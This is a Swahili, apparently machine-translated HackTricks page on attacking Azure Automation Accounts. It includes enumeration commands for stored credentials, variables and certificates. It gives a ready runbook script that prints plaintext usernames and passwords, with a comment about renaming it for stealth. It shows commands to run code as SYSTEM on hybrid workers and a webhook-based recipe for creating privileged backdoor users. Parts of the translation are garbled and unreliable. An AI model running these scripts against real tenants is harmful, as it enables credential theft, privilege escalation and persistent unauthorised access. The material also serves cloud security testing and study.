Az - Automation Account

Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)!

Njia nyingine za kusaidia HackTricks:

Taarifa Msingi

Kutoka kwa nyaraka: Azure Automation hutoa huduma ya uendeshaji wa wingu, sasisho za mfumo wa uendeshaji, na huduma ya usanidi inayounga mkono usimamizi thabiti kwenye mazingira yako ya Azure na yasiyo ya Azure. Inajumuisha uendeshaji wa mchakato, usimamizi wa usanidi, usimamizi wa sasisho, uwezo uliogawanywa, na vipengele vya kiheterojeni.

Hizi ni kama "kazi zilizopangwa" kwenye Azure ambazo zitaruhusu kutekeleza vitu (vitendo au hata hati) kwa usimamizi, ukaguzi na usanidi wa mazingira ya Azure.

Akaunti ya Kutekeleza Kama

Inapotumiwa Akaunti ya Kutekeleza Kama, inaunda maombi ya Azure AD na cheti lililosainiwa na yenyewe, inaunda mkuu wa huduma na kumteua jukumu la Mchangiaji kwa akaunti katika usajili wa sasa (mamlaka nyingi). Microsoft inapendekeza kutumia Kitambulisho Kilichosimamiwa kwa Akaunti ya Uendeshaji wa Kiotomatiki.

Hii itaondolewa mnamo Septemba 30, 2023 na kubadilishwa na Kitambulisho Kilichosimamiwa.

Runbooks & Kazi

Runbooks inakuruhusu kutekeleza mimba ya PowerShell ya aina yoyote. Hii inaweza kudukuliwa na mkaidi kuiba ruhusa za mkuu uliowekwa (ikiwa ipo). Katika mimba ya Runbooks unaweza pia kupata habari nyeti (kama vile siri).

Ikiwa unaweza kusoma kazi, ifanye kwani zina matokeo ya utekelezaji (habari nyeti inayowezekana).

Nenda kwa Akaunti za Uendeshaji wa Kiotomatiki --> <Chagua Akaunti ya Uendeshaji wa Kiotomatiki> --> Runbooks/Kazi/Vikundi vya wafanyikazi wa hibridi/Vitu vya wachunguzi/Mikopo/Vidokezo/Vyeti/Uunganisho

Mfanyikazi wa Hibridi

Runbook inaweza kutekelezwa katika kontena ndani ya Azure au kwenye Mfanyikazi wa Hibridi (mashine isiyo ya Azure). Mnajisi wa Log Analytics imewekwa kwenye VM kujiandikisha kama mfanyikazi wa hibridi. Kazi za mfanyikazi wa hibridi zinatekelezwa kama SYSTEM kwenye Windows na akaunti ya nxautomation kwenye Linux. Kila Mfanyikazi wa Hibridi amejiandikisha katika Kikundi cha Wafanyikazi wa Hibridi.

Kwa hivyo, ikiwa unaweza kuchagua kutekeleza Runbook katika Mfanyikazi wa Hibridi wa Windows, utatekeleza amri za aina yoyote ndani ya mashine ya nje kama System (njia nzuri ya kubadilisha mwelekeo).

Hali ya Kudukuliwa ya Usanidi (SC)

Kutoka kwa nyaraka: Azure Automation Hali ya Usanidi ni huduma ya usimamizi wa usanidi wa Azure inayokuwezesha kuandika, kusimamia, na kutekeleza Usanidi Uliotamaniwa wa PowerShell (DSC) usanidi kwa nodi kwenye wingu lolote au kituo cha data cha ndani. Huduma pia inaagiza Rasilimali za DSC, na kuteua usanidi kwa nodi za lengo, yote kwenye wingu. Unaweza kupata Hali ya Usanidi ya Azure Automation kwenye portal ya Azure kwa kuchagua Usanidi wa hali (DSC) chini ya Usimamizi wa Usanidi.

Habari nyeti inaweza kupatikana katika usanidi huu.

RCE

Inawezekana kutumia SC kudukua hati za aina yoyote kwenye mashine zilizosimamiwa.

Uchambuzi

# Check user right for automation
az extension add --upgrade -n automation
az automation account list # if it doesn't return anything the user is not a part of an Automation group

# Gets Azure Automation accounts in a resource group
Get-AzAutomationAccount

# List & get DSC configs
Get-AzAutomationAccount | Get-AzAutomationDscConfiguration
Get-AzAutomationAccount | Get-AzAutomationDscConfiguration | where {$_.name -match '<name>'} | Export-AzAutomationDscConfiguration -OutputFolder . -Debug
## Automation Accounts named SecurityBaselineConfigurationWS... are there by default (not interesting)

# List & get Run books code
Get-AzAutomationAccount | Get-AzAutomationRunbook
Get-AzAutomationAccount | Get-AzAutomationRunbook | Export-AzAutomationRunbook -OutputFolder /tmp

# List credentials & variables & others
Get-AzAutomationAccount | Get-AzAutomationCredential
Get-AzAutomationAccount | Get-AzAutomationVariable
Get-AzAutomationAccount | Get-AzAutomationConnection
Get-AzAutomationAccount | Get-AzAutomationCertificate
Get-AzAutomationAccount | Get-AzAutomationSchedule
Get-AzAutomationAccount | Get-AzAutomationModule
Get-AzAutomationAccount | Get-AzAutomationPython3Package
## Exfiltrate credentials & variables and the other info loading them in a Runbook and printing them

# List hybrid workers
Get-AzAutomationHybridWorkerGroup -AutomationAccountName <AUTOMATION-ACCOUNT> -ResourceGroupName <RG-NAME>
# Get the role of a user on the Automation account
# Contributor or higher = Can create and execute Runbooks
Get-AzRoleAssignment -Scope /subscriptions/<ID>/resourceGroups/<RG-NAME>/providers/Microsoft.Automation/automationAccounts/<AUTOMATION-ACCOUNT>

# Create a Powershell Runbook
Import-AzAutomationRunbook -Name <RUNBOOK-NAME> -Path C:\Tools\username.ps1 -AutomationAccountName <AUTOMATION-ACCOUNT> -ResourceGroupName <RG-NAME> -Type PowerShell -Force -Verbose

# Publish the Runbook
Publish-AzAutomationRunbook -RunbookName <RUNBOOK-NAME> -AutomationAccountName <AUTOMATION-ACCOUNT> -ResourceGroupName <RG-NAME> -Verbose

# Start the Runbook
Start-AzAutomationRunbook -RunbookName <RUNBOOK-NAME> -RunOn Workergroup1 -AutomationAccountName <AUTOMATION-ACCOUNT> -ResourceGroupName <RG-NAME> -Verbose

Kunasa Creds & Variables zilizofafanuliwa katika Akaunti ya Uendeshaji kwa kutumia Run Book

# Change the crdentials & variables names and add as many as you need
@'
$creds = Get-AutomationPSCredential -Name <credentials_name>
$runbook_variable = Get-AutomationVariable -name <variable_name>
$runbook_variable
$creds.GetNetworkCredential().username
$creds.GetNetworkCredential().password
'@ | out-file -encoding ascii 'runbook_get_creds.ps1'

$ResourceGroupName = '<resource_group_name>'
$AutomationAccountName = '<auto_acc_name>'
$RunBookName = 'Exif-Credentials' #Change this for stealthness

# Creare Run book, publish, start, and get output
New-AzAutomationRunBook -name $RunBookName -AutomationAccountName $AutomationAccountName -ResourceGroupName $ResourceGroupName -Type PowerShell
Import-AzAutomationRunBook -Path 'runbook_get_creds.ps1' -Name $RunBookName -Type PowerShell -AutomationAccountName $AutomationAccountName -ResourceGroupName $ResourceGroupName -Force
Publish-AzAutomationRunBook -Name $RunBookName -AutomationAccountName $AutomationAccountName -ResourceGroupName $ResourceGroupName
$start = Start-AzAutomationRunBook -Name $RunBookName -AutomationAccountName $AutomationAccountName -ResourceGroupName $ResourceGroupName
start-sleep 20
($start | Get-AzAutomationJob | Get-AzAutomationJobOutput).Summarynt

Unaweza kufanya kitu sawa kwa kurekebisha Run Book iliyopo, na kutoka kwenye konsoli ya wavuti.

Hatua za Kuweka Uundaji wa Mtumiaji wa Kiotomatiki Mwenye Mamlaka Kubwa

1. Anzisha Akaunti ya Utoaji wa Kiotomatiki

  • Hatua Inayohitajika: Unda Akaunti mpya ya Utoaji wa Kiotomatiki.

  • Mipangilio Maalum: Hakikisha "Unda akaunti ya Azure Run As" imezimwa.

2. Ingiza na Weka Runbook

  • Chanzo: Pakua runbook ya mfano kutoka Hifadhi ya GitHub ya MicroBurst.

  • Hatua Zinazohitajika:

  • Ingiza runbook kwenye Akaunti ya Utoaji wa Kiotomatiki.

  • Chapisha runbook ili iweze kutekelezwa.

  • Ambatanisha webhook kwenye runbook, kuwezesha kichocheo cha nje.

3. Sanidi Moduli ya AzureAD

  • Hatua Inayohitajika: Ongeza moduli ya AzureAD kwenye Akaunti ya Utoaji wa Kiotomatiki.

  • Hatua Zaidi: Hakikisha moduli zote za Utoaji wa Kiotomatiki za Azure zimeboreshwa hadi toleo lao la karibuni.

4. Uteuzi wa Ruhusa

  • Vyeo vya Kuteua:

  • Msimamizi wa Mtumiaji

  • Mmiliki wa Subscriptions

  • Lengo: Teua vyeo hivi kwenye Akaunti ya Utoaji wa Kiotomatiki kwa mamlaka muhimu.

5. Uelewa wa Upotezaji wa Upatikanaji

  • Taarifa: Tambua kwamba kusanidi uautomeshaji kama huo kunaweza kusababisha kupoteza udhibiti wa usajili.

6. Kichocheo cha Uundaji wa Mtumiaji

  • Chochote kichocheo cha kuanzisha uundaji wa mtumiaji mpya kwa kutuma ombi la POST.

  • Tumia script ya PowerShell iliyotolewa, hakikisha kubadilisha $uri na URL halisi ya webhook yako na kusasisha $AccountInfo na jina la mtumiaji na nywila inayotakiwa.

$uri = "<YOUR_WEBHOOK_URL>"
$AccountInfo  = @(@{RequestBody=@{Username="<DESIRED_USERNAME>";Password="<DESIRED_PASSWORD>"}})
$body = ConvertTo-Json -InputObject $AccountInfo
$response = Invoke-WebRequest -Method Post -Uri $uri -Body $body

Marejeo

Jifunze kuhusu udukuzi wa AWS kutoka sifuri hadi shujaa na htARTE (Mtaalam wa Timu Nyekundu ya HackTricks AWS)!

Njia nyingine za kusaidia HackTricks:

Last updated